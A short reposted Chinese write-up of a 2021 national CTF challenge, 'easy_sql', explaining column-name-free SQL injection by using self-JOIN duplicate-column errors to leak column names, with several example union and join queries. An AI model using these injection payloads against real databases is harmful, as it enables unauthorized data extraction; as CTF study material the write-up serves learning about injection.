21年国赛 -- easy_sql --- 利用join进行无列名注入

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了21年国赛 -- easy_sql --- 利用join进行无列名注入相关的知识,希望对你有一定的参考价值。

这个利用join进行无列名注入,获取 数据表名称的方法,

只能够,在不是bool盲注的时候使用,也就是必须要有回显,因为我们没有办法将错误信息给select出来,

这个join报错获得表名 这个方法,是一定要用到报错注入的是吧,(我猜是)
如果是外显式的话,就报错直接出了,像这次国赛这个题一样

但是 如果试bool型盲注的话,也就是外显只有 0 1 情况的话,
那应该就没有办法了。因为我们没有办法把报错信息 给 select 出来,也就没有办法进行substr进行bool判断,比较,

在这里插入图片描述

select 1,2,3 union select * from sc;

select `1` from (select 1,2,3 union select * from sc)a;

select b from (select 1,2 as b ,3 union select * from sc)ds;

爆出第一个表名:
select * from users union all select * from (select * from users as a join users b )c;
在这里插入图片描述
爆出第二个表名:
select * from users union all select * from (select * from users as a join users b using(user_id))c;
在这里插入图片描述
以此类推,第三个:
select * from users union all select * from (select * from users as a join users b using(user_id,first_name))c;
在这里插入图片描述

以上是关于21年国赛 -- easy_sql --- 利用join进行无列名注入的主要内容,如果未能解决你的问题,请参考以下文章

2017年国赛H题:远程幅频特性测试装置

(未完毕)电子设计省赛--2013年国赛题

数学建模国赛题型和获奖策略

第十二届蓝桥杯 2021年国赛真题 (Java 大学B组)

蓝桥杯18年国赛 搭积木

第十三届蓝桥杯c++b组2022年国赛决赛题解